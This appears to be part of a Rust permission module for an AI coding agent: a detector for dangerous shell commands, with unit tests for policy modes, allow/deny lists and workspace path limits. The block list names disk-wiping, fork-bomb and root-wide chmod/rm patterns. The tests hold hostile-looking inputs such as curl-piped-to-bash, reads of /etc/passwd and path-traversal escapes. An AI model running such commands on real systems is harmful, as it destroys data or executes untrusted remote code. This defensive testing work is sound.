1109/// wrapper binaries (`sudo`, `env -S`, …) and nested `bash -c` / piped payloads cannot
1110/// hide a dangerous command.
1111pub fn is_dangerous_shell_command(command: &str) -> bool {
1112    if dangerous_line(command) {
1113        return true;
1114    }
1115    shell_scan::scannable_command(command)
1116        .lines()
1117        .any(|line| dangerous_line(line) || shell_scan::has_dangerous_structure(line))
1118}
1119
1120fn dangerous_line(command: &str) -> bool {
1121    let segs = shell_segments(command);
1122    for seg in &segs {
1123        let lower = seg.to_ascii_lowercase();
1124        if is_rm_rf_root(&lower) {
1125            return true;
1126        }
1127        const PATTERNS: &[&str] = &[
1128            "mkfs.",
1129            "mkfs ",
1130            "dd if=",
1131            ":(){ :|:& };:",
1132            "/dev/sda",
1133            "chmod -r 777 /",
1134            "chmod -r 777/*",
1135            "chown -r root /",
1136            "chown -r /",
1137        ];
1138        if PATTERNS.iter().any(|p| lower.contains(p)) {
1139            return true;
1140        }
1141    }
1142    // curl/wget piped to shell across quote-aware segments.
1143    let mut saw_fetch = false;
1144    for seg in &segs {
1145        let lower = seg.to_ascii_lowercase();
1146        let first = lower.split_whitespace().next().unwrap_or("");
1147        if first == "curl" || first == "wget" {
1148            saw_fetch = true;
1149            continue;
1150        }
1151        if saw_fetch && matches!(first, "sh" | "bash" | "zsh" | "dash") {
1152            return true;
1153        }
1154        // non-fetch segment resets chain unless still a fetch
1155        if first != "curl" && first != "wget" {
1156            saw_fetch = false;
1157        }
1158    }
1159    false
1160}
1161
1162/// True for `rm -rf /` / `rm -rf /*` style root wipes, not `rm -rf /tmp/...`.
1163fn is_rm_rf_root(cmd: &str) -> bool {
1164    let Some(idx) = cmd.find("rm -rf /") else {
1165        return cmd.contains("rm -rf /*");
1166    };
1167    let after = &cmd[idx + "rm -rf /".len()..];
1168    after.is_empty()
1169        || after.starts_with('*')
1170        || after.starts_with(' ')
1171        || after.starts_with(';')
1172        || after.starts_with('&')
1173        || after.starts_with('|')
1174}
1175
1176#[cfg(test)]
1177mod tests {
1178    use super::*;
1179    use std::sync::Mutex;
1180
1181    #[test]
1182    fn test_is_process_tool() {
1183        assert!(is_process_tool("bash"));
1184        assert!(is_process_tool("run_command"));
1185        assert!(is_process_tool("spawn_agent"));
1186
1187        assert!(!is_process_tool("write"));
1188        assert!(!is_process_tool("read"));
1189        assert!(!is_process_tool("unknown_tool"));
1190        assert!(!is_process_tool(""));
1191    }
1192
1193    #[test]
1194    fn full_access_builder() {
1195        let p = Policy::full_access();
1196        assert_eq!(p.mode, PermissionMode::FullAccess);
1197        assert!(!p.enable_os_sandbox);
1198        assert!(p.allowlist.is_empty());
1199        assert!(p.denylist.is_empty());
1200        assert!(p.shell_allow.is_empty());
1201        assert!(p.shell_deny.is_empty());
1202        assert!(p.enforce_dangerous_shell);
1203    }
1204
1205    #[test]
1206    fn full_access_allows() {
1207        assert_eq!(
1208            authorize(&Policy::full_access(), "write", "{}", None),
1209            Decision::Allow
1210        );
1211    }
1212
1213    #[test]
1214    fn default_is_workspace_write() {
1215        assert_eq!(Policy::default().mode, PermissionMode::WorkspaceWrite);
1216        assert_eq!(
1217            authorize(&Policy::default(), "bash", "{}", None),
1218            Decision::Ask
1219        );
1220    }
1221
1222    #[test]
1223    fn deny_all_blocks() {
1224        assert_eq!(
1225            authorize(&Policy::deny_all(), "read", "{}", None),
1226            Decision::Deny
1227        );
1228    }
1229
1230    #[test]
1231    fn denylist_overrides() {
1232        let p = Policy {
1233            mode: PermissionMode::FullAccess,
1234            allowlist: vec![],
1235            denylist: vec!["bash".into()],
1236            enable_os_sandbox: false,
1237            shell_allow: vec![],
1238            shell_deny: vec![],
1239            enforce_dangerous_shell: true,
1240            exec_prefixes: vec![],
1241        };
1242        assert_eq!(authorize(&p, "bash", "{}", None), Decision::Deny);
1243    }
1244
1245    #[test]
1246    fn read_only_allows_reads() {
1247        assert_eq!(
1248            authorize(&Policy::read_only(), "read", "{}", None),
1249            Decision::Allow
1250        );
1251        assert_eq!(
1252            authorize(&Policy::read_only(), "write", "{}", None),
1253            Decision::Ask
1254        );
1255    }
1256
1257    #[test]
1258    fn approver_called_on_ask() {
1259        assert_eq!(
1260            authorize(&Policy::read_only(), "write", "{}", Some(&AlwaysAllow)),
1261            Decision::Allow
1262        );
1263        assert_eq!(
1264            authorize(&Policy::read_only(), "write", "{}", Some(&AlwaysDeny)),
1265            Decision::Deny
1266        );
1267    }
1268
1269    #[test]
1270    fn workspace_write_allows_edit_asks_bash() {
1271        assert_eq!(
1272            authorize(&Policy::workspace_write(), "read", "{}", None),
1273            Decision::Allow
1274        );
1275        assert_eq!(
1276            authorize(&Policy::workspace_write(), "edit", "{}", None),
1277            Decision::Allow
1278        );
1279        assert_eq!(
1280            authorize(&Policy::workspace_write(), "write", "{}", None),
1281            Decision::Allow
1282        );
1283        assert_eq!(
1284            authorize(&Policy::workspace_write(), "bash", "{}", None),
1285            Decision::Ask
1286        );
1287        assert_eq!(
1288            authorize(&Policy::workspace_write(), "unknown_tool", "{}", None),
1289            Decision::Ask
1290        );
1291    }
1292
1293    struct CaptureApprover {
1294        seen: Mutex<Option<ToolCall>>,
1295    }
1296
1297    impl Approver for CaptureApprover {
1298        fn approve(&self, call: &ToolCall) -> Decision {
1299            *self.seen.lock().unwrap() = Some(call.clone());
1300            Decision::Allow
1301        }
1302    }
1303
1304    #[test]
1305    fn approver_sees_real_arguments() {
1306        let app = CaptureApprover {
1307            seen: Mutex::new(None),
1308        };
1309        let args = r#"{"path":"secret.txt","content":"x"}"#;
1310        assert_eq!(
1311            authorize(&Policy::read_only(), "write", args, Some(&app)),
1312            Decision::Allow
1313        );
1314        let seen = app.seen.lock().unwrap().clone().expect("approver called");
1315        assert_eq!(seen.name, "write");
1316        assert_eq!(seen.arguments, args);
1317    }
1318
1319    #[test]
1320    fn write_outside_workspace_denied_under_workspace_write() {
1321        let root = Path::new("/proj");
1322        let outside = r#"{"path":"/tmp/escape.txt"}"#;
1323        assert_eq!(
1324            authorize_with_workspace(
1325                &Policy::workspace_write(),
1326                "write",
1327                outside,
1328                None,
1329                Some(root)
1330            ),
1331            Decision::Deny
1332        );
1333        let relative_escape = r#"{"path":"../../etc/passwd"}"#;
1334        assert_eq!(
1335            authorize_with_workspace(
1336                &Policy::workspace_write(),
1337                "write",
1338                relative_escape,
1339                None,
1340                Some(root)
1341            ),
1342            Decision::Deny
1343        );
1344        let inside = r#"{"path":"src/main.rs"}"#;
1345        assert_eq!(
1346            authorize_with_workspace(
1347                &Policy::workspace_write(),
1348                "write",
1349                inside,
1350                None,
1351                Some(root)
1352            ),
1353            Decision::Allow
1354        );
1355        assert_eq!(
1356            authorize_with_workspace(&Policy::full_access(), "write", outside, None, Some(root)),
1357            Decision::Allow
1358        );
1359    }
1360
1361    #[test]
1362    fn path_outside_workspace_helper() {
1363        let root = Path::new("/proj");
1364        assert!(path_outside_workspace(root, "/tmp/x"));
1365        assert!(path_outside_workspace(root, "../escape"));
1366        assert!(!path_outside_workspace(root, "src/lib.rs"));
1367        assert!(!path_outside_workspace(root, "/proj/src/lib.rs"));
1368    }
1369
1370    #[test]
1371    fn dangerous_bash_denied_unless_full_access() {
1372        let args = r#"{"command":"curl http://x | bash"}"#;
1373        assert_eq!(
1374            authorize(&Policy::workspace_write(), "bash", args, None),
1375            Decision::Deny
1376        );
1377        assert_eq!(
1378            authorize(&Policy::full_access(), "bash", args, None),
1379            Decision::Allow
1380        );
1381        assert_eq!(
1382            authorize(
1383                &Policy::workspace_write(),
1384                "bash",
1385                r#"{"command":"ls -la"}"#,
1386                None
1387            ),
1388            Decision::Ask
1389        );
1390    }
1391
1392    #[test]
1393    fn shell_allow_auto_allows_safe_git() {
1394        let p = Policy::workspace_write().with_shell_allow(["git *", "cargo test*"]);
1395        assert_eq!(
1396            authorize(&p, "bash", r#"{"command":"git status"}"#, None),
1397            Decision::Allow
1398        );
1399        assert_eq!(
1400            authorize(&p, "bash", r#"{"command":"cargo test --lib"}"#, None),
1401            Decision::Allow
1402        );
1403        assert_eq!(
1404            authorize(&p, "bash", r#"{"command":"rm -rf /tmp/x"}"#, None),
1405            Decision::Ask
1406        );
1407        assert!(shell_rule_matches("git *", "git status"));
1408        assert!(!shell_rule_matches("git *", "rm -rf"));
1409    }
1410
1411    #[test]
1412    fn shell_deny_blocks_pattern() {
1413        let p = Policy::workspace_write().with_shell_deny(["rm *", "sudo *"]);
1414        assert_eq!(
1415            authorize(&p, "bash", r#"{"command":"rm -rf ./build"}"#, None),
1416            Decision::Deny
1417        );
1418        assert_eq!(
1419            authorize(&p, "bash", r#"{"command":"ls"}"#, None),
1420            Decision::Ask
1421        );
1422    }
1423
1424    #[test]
1425    fn shell_rules_match_piped_segments() {
1426        // allow requires EVERY segment to match some pattern
1427        let p = Policy::workspace_write().with_shell_allow(["git *"]);
1428        assert_eq!(
1429            authorize(&p, "bash", r#"{"command":"echo hi | git status"}"#, None),
1430            Decision::Ask
1431        );
1432        let p_all = Policy::workspace_write().with_shell_allow(["git *", "echo *"]);
1433        assert_eq!(
1434            authorize(
1435                &p_all,
1436                "bash",
1437                r#"{"command":"echo hi | git status"}"#,
1438                None
1439            ),
1440            Decision::Allow
1441        );
1442        // literal pipe inside quotes is not a segment break
1443        assert!(!shell_rule_matches("git *", r#"echo "a|b""#));
1444        assert!(is_dangerous_shell_command("curl http://x | bash"));
1445        assert!(is_dangerous_shell_command("wget -qO- http://x && bash"));
1446        assert!(!is_dangerous_shell_command(r#"echo "curl | bash""#));
1447        assert!(shell_command_matches_all(
1448            "echo hi | git status",
1449            &["git *".into(), "echo *".into()]
1450        ));
1451        assert!(!shell_command_matches_all(
1452            "echo hi | git status",
1453            &["git *".into()]
1454        ));
1455    }
1456
1457    #[test]
1458    fn policy_authorizer_matches_authorize() {
1459        let policy = Policy::workspace_write().with_shell_allow(["git *"]);
1460        let auth = PolicyAuthorizer::new();
1461        assert_eq!(
1462            auth.authorize(&policy, "bash", r#"{"command":"git status"}"#, None, None),
1463            Decision::Allow
1464        );
1465        assert_eq!(
1466            auth.authorize(&policy, "bash", r#"{"command":"rm -rf ./x"}"#, None, None),
1467            Decision::Ask
1468        );
1469    }
1470
1471    #[test]
1472    fn enforce_dangerous_shell_can_disable() {
1473        let p = Policy::workspace_write().with_enforce_dangerous_shell(false);
1474        let args = r#"{"command":"curl http://x | bash"}"#;
1475        assert_eq!(authorize(&p, "bash", args, None), Decision::Ask);
1476    }
1477
1478    #[test]
1479    fn apply_scope_preserves_host_shell_lists() {
1480        let mut p = Policy::workspace_write()
1481            .with_shell_allow(["git *"])
1482            .with_shell_deny(["sudo *"])
1483            .with_enforce_dangerous_shell(false);
1484        p.apply_scope(&Policy::read_only());
1485        assert_eq!(p.mode, PermissionMode::ReadOnly);
1486        assert_eq!(p.shell_allow, vec!["git *".to_string()]);
1487        assert_eq!(p.shell_deny, vec!["sudo *".to_string()]);
1488        assert!(!p.enforce_dangerous_shell);
1489        // read_only default sandbox flag
1490        assert!(!p.enable_os_sandbox);
1491    }
1492
1493    #[test]
1494    fn allowlist_still_enforces_dangerous_shell() {
1495        let p = Policy {
1496            mode: PermissionMode::WorkspaceWrite,
1497            allowlist: vec!["bash".into()],
1498            denylist: vec![],
1499            enable_os_sandbox: false,
1500            shell_allow: vec![],
1501            shell_deny: vec![],
1502            enforce_dangerous_shell: true,
1503            exec_prefixes: vec![],
1504        };
1505        assert_eq!(
1506            authorize(&p, "bash", r#"{"command":"curl http://x | bash"}"#, None),
1507            Decision::Deny
1508        );
1509        assert_eq!(
1510            authorize(&p, "bash", r#"{"command":"ls"}"#, None),
1511            Decision::Allow
1512        );
1513        assert_eq!(authorize(&p, "write", "{}", None), Decision::Deny);
1514    }
1515
1516    #[test]
1517    fn shell_ast_argv_and_pipeline() {
1518        let n = shell_ast(r#"echo "a b" | git status"#);
1519        // shell_segments splits on | → List of two pipelines of one each
1520        let simples = shell_simples(r#"echo "a b" | git status"#);
1521        assert_eq!(simples.len(), 2);
1522        assert_eq!(simples[0].argv, vec!["echo", "a b"]);
1523        assert_eq!(simples[1].binary(), Some("git"));
1524        assert_eq!(shell_argv("ls -la /tmp"), vec!["ls", "-la", "/tmp"]);
1525        let _ = n;
1526    }
1527
1528    #[test]
1529    fn channel_approver_blocks_until_reply() {
1530        let (approver, rx) = ChannelApprover::pair();
1531        let handle = std::thread::spawn(move || {
1532            let (call, reply) = rx.recv().expect("request");
1533            assert_eq!(call.name, "bash");
1534            reply.send(Decision::Allow).unwrap();
1535        });
1536        let call = ToolCall {
1537            id: "1".into(),
1538            name: "bash".into(),
1539            arguments: r#"{"command":"true"}"#.into(),
1540        };
1541        assert_eq!(approver.approve(&call), Decision::Allow);
1542        handle.join().unwrap();
1543
1544        // no receiver → Deny
1545        let (approver2, rx2) = ChannelApprover::pair();
1546        drop(rx2);
1547        assert_eq!(approver2.approve(&call), Decision::Deny);
1548    }
1549
1550    // === Security regression tests ===
1551
1552    #[test]
1553    fn h3_unsupported_syntax_blocks_auto_allow() {
1554        // Commands with command substitution must not auto-allow.
1555        let p = Policy::workspace_write().with_shell_allow(["git *", "echo *", "cargo *"]);
1556        // Simple allowed command.
1557        assert_eq!(
1558            authorize(&p, "bash", r#"{"command":"git status"}"#, None),
1559            Decision::Allow
1560        );
1561        // Command substitution — must NOT auto-allow.
1562        assert_ne!(
1563            authorize(&p, "bash", r#"{"command":"echo $(cat /etc/passwd)"}"#, None),
1564            Decision::Allow
1565        );
1566        // Backtick — must NOT auto-allow.
1567        assert_ne!(
1568            authorize(&p, "bash", r#"{"command":"echo `whoami`"}"#, None),
1569            Decision::Allow
1570        );
1571        // Redirection — must NOT auto-allow.
1572        assert_ne!(
1573            authorize(&p, "bash", r#"{"command":"echo hi > /tmp/x"}"#, None),
1574            Decision::Allow
1575        );
1576    }
1577
1578    #[test]
1579    fn h3_quoted_literal_not_affected() {
1580        // A quoted single-quote or dollar-sign inside quotes is not syntax.
1581        assert!(!has_unsupported_shell_syntax(r#"echo 'hello world'"#));
1582        assert!(!has_unsupported_shell_syntax(r#"echo \"$HOME\""#));
1583    }
1584
1585    #[test]
1586    fn h3_backtick_triggers_unsupported() {
1587        assert!(has_unsupported_shell_syntax("echo `whoami`"));
1588    }
1589
1590    #[test]
1591    fn h3_newline_triggers_unsupported() {
1592        assert!(has_unsupported_shell_syntax("echo hi\necho bye"));
1593    }
1594
1595    #[test]
1596    fn h3_redirection_triggers_unsupported() {
1597        assert!(has_unsupported_shell_syntax("echo hi > /tmp/x"));
1598        assert!(has_unsupported_shell_syntax("cat < /etc/passwd"));
1599    }
1600
1601    #[test]
1602    fn h2_cu_see_not_read_only() {
1603        assert!(!is_read_only_tool("cu_see"));
1604        assert!(!is_read_only_tool("cu_image"));
1605    }
1606
1607    #[test]
1608    fn test_is_write_tool() {
1609        assert!(is_write_tool("write"));
1610        assert!(is_write_tool("write_file"));
1611        assert!(is_write_tool("edit"));
1612        assert!(is_write_tool("hashline_edit"));
1613        assert!(is_write_tool("search_replace"));
1614        assert!(is_write_tool("apply_patch"));
1615        assert!(is_write_tool("todo"));
1616
1617        assert!(!is_write_tool("read"));
1618        assert!(!is_write_tool("bash"));
1619        assert!(!is_write_tool("web_search"));
1620    }
1621
1622    #[test]
1623    fn web_search_is_read_only() {
1624        assert!(is_read_only_tool("web_search"));
1625        assert!(is_read_only_tool("darash"));
1626        assert!(is_read_only_tool("darash_search"));
1627        assert_eq!(
1628            authorize(
1629                &Policy::read_only(),
1630                "web_search",
1631                r#"{"query":"rust"}"#,
1632                None
1633            ),
1634            Decision::Allow
1635        );
1636    }
1637
1638    #[test]
1639    fn test_with_os_sandbox() {
1640        let p = Policy::full_access().with_os_sandbox(false);
1641        assert!(!p.enable_os_sandbox);
1642
1643        let p = p.with_os_sandbox(true);
1644        assert!(p.enable_os_sandbox);
1645
1646        let p = Policy::workspace_write().with_os_sandbox(false);
1647        assert!(!p.enable_os_sandbox);
1648    }
1649
1650    #[test]
1651    fn plan_proposal_render_includes_plan_and_calls() {
1652        let proposal = PlanProposal {
1653            prompt: "ship it".into(),
1654            plan: "  Edit the file, then run tests.  ".into(),
1655            calls: vec![
1656                ToolCall {
1657                    id: "1".into(),
1658                    name: "edit".into(),
1659                    arguments: r#"{"path":"src/lib.rs"}"#.into(),
1660                },
1661                ToolCall {
1662                    id: "2".into(),
1663                    name: "bash".into(),
1664                    arguments: r#"{"command":"cargo test"}"#.into(),
1665                },
1666            ],
1667            turn: 0,
1668        };
1669        let rendered = proposal.render();
1670        assert!(rendered.starts_with("Edit the file, then run tests.\n\nPlanned steps:\n"));
1671        assert!(rendered.contains("  1. edit({\"path\":\"src/lib.rs\"})\n"));
1672        assert!(rendered.contains("  2. bash({\"command\":\"cargo test\"})\n"));
1673    }
1674
1675    #[test]
1676    fn plan_proposal_render_omits_empty_plan() {
1677        let proposal = PlanProposal {
1678            prompt: "hi".into(),
1679            plan: "   \n".into(),
1680            calls: vec![ToolCall {
1681                id: "1".into(),
1682                name: "read".into(),
1683                arguments: r#"{"path":"README.md"}"#.into(),
1684            }],
1685            turn: 1,
1686        };
1687        assert_eq!(
1688            proposal.render(),
1689            "Planned steps:\n  1. read({\"path\":\"README.md\"})\n"
1690        );
1691    }
1692
1693    #[test]
1694    fn with_scope_preserves_host_shell_lists() {
1695        let p = Policy::workspace_write()
1696            .with_shell_allow(["git *"])
1697            .with_shell_deny(["sudo *"])
1698            .with_scope(&Policy::read_only());
1699        assert_eq!(p.mode, PermissionMode::ReadOnly);
1700        assert_eq!(p.shell_allow, vec!["git *".to_string()]);
1701        assert_eq!(p.shell_deny, vec!["sudo *".to_string()]);
1702        assert!(!p.enable_os_sandbox);
1703    }
1704
1705    #[test]
1706    fn approval_request_from_call_flags_process_and_write() {
1707        let policy = Policy::workspace_write();
1708        let bash = ToolCall {
1709            id: "c1".into(),
1710            name: "bash".into(),
1711            arguments: r#"{"command":"ls"}"#.into(),
1712        };
1713        let req = ApprovalRequest::from_call(&bash, &policy);
1714        assert_eq!(req.call_id, "c1");
1715        assert_eq!(req.tool_name, "bash");
1716        assert!(req.is_process_tool);
1717        assert!(!req.is_write_tool);
1718        assert!(req.reason.contains("bash"));
1719
1720        let write = ToolCall {
1721            id: "c2".into(),
1722            name: "write".into(),
1723            arguments: r#"{"path":"x"}"#.into(),
1724        };
1725        let req = ApprovalRequest::from_call(&write, &policy);
1726        assert!(req.is_write_tool);
1727        assert!(!req.is_process_tool);
1728    }
1729
1730    #[test]
1731    fn test_command_from_args() {
1732        assert_eq!(
1733            command_from_args(r#"{"command": "ls -la"}"#),
1734            Some("ls -la".to_string())
1735        );
1736        assert_eq!(
1737            command_from_args(r#"{"cmd": "echo hello"}"#),
1738            Some("echo hello".to_string())
1739        );
1740        assert_eq!(
1741            command_from_args(r#"{"command": "first", "cmd": "second"}"#),
1742            Some("first".to_string())
1743        );
1744        assert_eq!(command_from_args(r#"{"command": "ls -la""#), None);
1745        assert_eq!(command_from_args(r#"{"other": "value"}"#), None);
1746        assert_eq!(command_from_args(r#"{"command": 123}"#), None);
1747        assert_eq!(command_from_args(r#"{"cmd": true}"#), None);
1748    }
1749
1750    #[test]
1751    fn write_paths_omit_means_whole_workspace_serialize() {
1752        let root = PathBuf::from("/workspace/project");
1753        let schedule = WritePathSchedule::whole_workspace();
1754        assert!(schedule.serialize_writes());
1755        assert!(schedule.allows(&root, "src/lib.rs"));
1756        assert!(!schedule.allows(&root, "/etc/passwd"));
1757        let limited = WritePathSchedule::only([root.join("src")]);
1758        assert!(!limited.serialize_writes());
1759        assert!(limited.allows(&root, "src/lib.rs"));
1760        assert!(!limited.allows(&root, "docs/README.md"));
1761    }
1762
1763    #[test]
1764    fn guardian_fail_closed_without_review() {
1765        let g = GuardianAuthorizer::fail_closed();
1766        assert_eq!(
1767            g.authorize(&Policy::full_access(), "write", "{}", None, None),
1768            Decision::Deny
1769        );
1770        let g = GuardianAuthorizer::with_review(|_| Err("review unavailable".into()));
1771        assert_eq!(
1772            g.authorize(&Policy::full_access(), "read", "{}", None, None),
1773            Decision::Deny
1774        );
1775        let g = GuardianAuthorizer::with_review(|_| Ok(Decision::Allow));
1776        assert_eq!(
1777            g.authorize(&Policy::full_access(), "read", "{}", None, None),
1778            Decision::Allow
1779        );
1780    }
1781
1782    #[test]
1783    fn exec_prefix_rules_override_mode() {
1784        let p = Policy::workspace_write().with_exec_prefixes([ExecPrefixRule {
1785            prefix: "npm ".into(),
1786            decision: Decision::Ask,
1787        }]);
1788        assert_eq!(
1789            authorize(&p, "bash", r#"{"command":"npm install"}"#, None),
1790            Decision::Ask
1791        );
1792        assert_eq!(
1793            authorize(&p, "bash", r#"{"command":"ls"}"#, None),
1794            Decision::Ask
1795        );
1796        let deny = Policy::full_access().with_exec_prefixes([ExecPrefixRule {
1797            prefix: "rm ".into(),
1798            decision: Decision::Deny,
1799        }]);
1800        assert_eq!(
1801            authorize(&deny, "bash", r#"{"command":"rm -rf x"}"#, None),
1802            Decision::Deny
1803        );
1804    }
1805
1806    #[test]
1807    fn worktree_claim_denies_outside_root() {
1808        let claim = WorktreeClaim::new(PathBuf::from("/claimed"));
1809        assert!(claim.allows(Path::new("/claimed/src/lib.rs")));
1810        assert!(!claim.allows(Path::new("/other/file.rs")));
1811        let auth = WorktreeAuthorizer::new(claim);
1812        assert_eq!(
1813            auth.authorize(
1814                &Policy::workspace_write(),
1815                "write",
1816                r#"{"path":"/other/file.rs","content":"x"}"#,
1817                None,
1818                Some(Path::new("/claimed")),
1819            ),
1820            Decision::Deny
1821        );
1822        assert_eq!(
1823            auth.authorize(
1824                &Policy::workspace_write(),
1825                "write",
1826                r#"{"path":"src/lib.rs","content":"x"}"#,
1827                None,
1828                Some(Path::new("/claimed")),
1829            ),
1830            Decision::Allow
1831        );
1832    }
1833}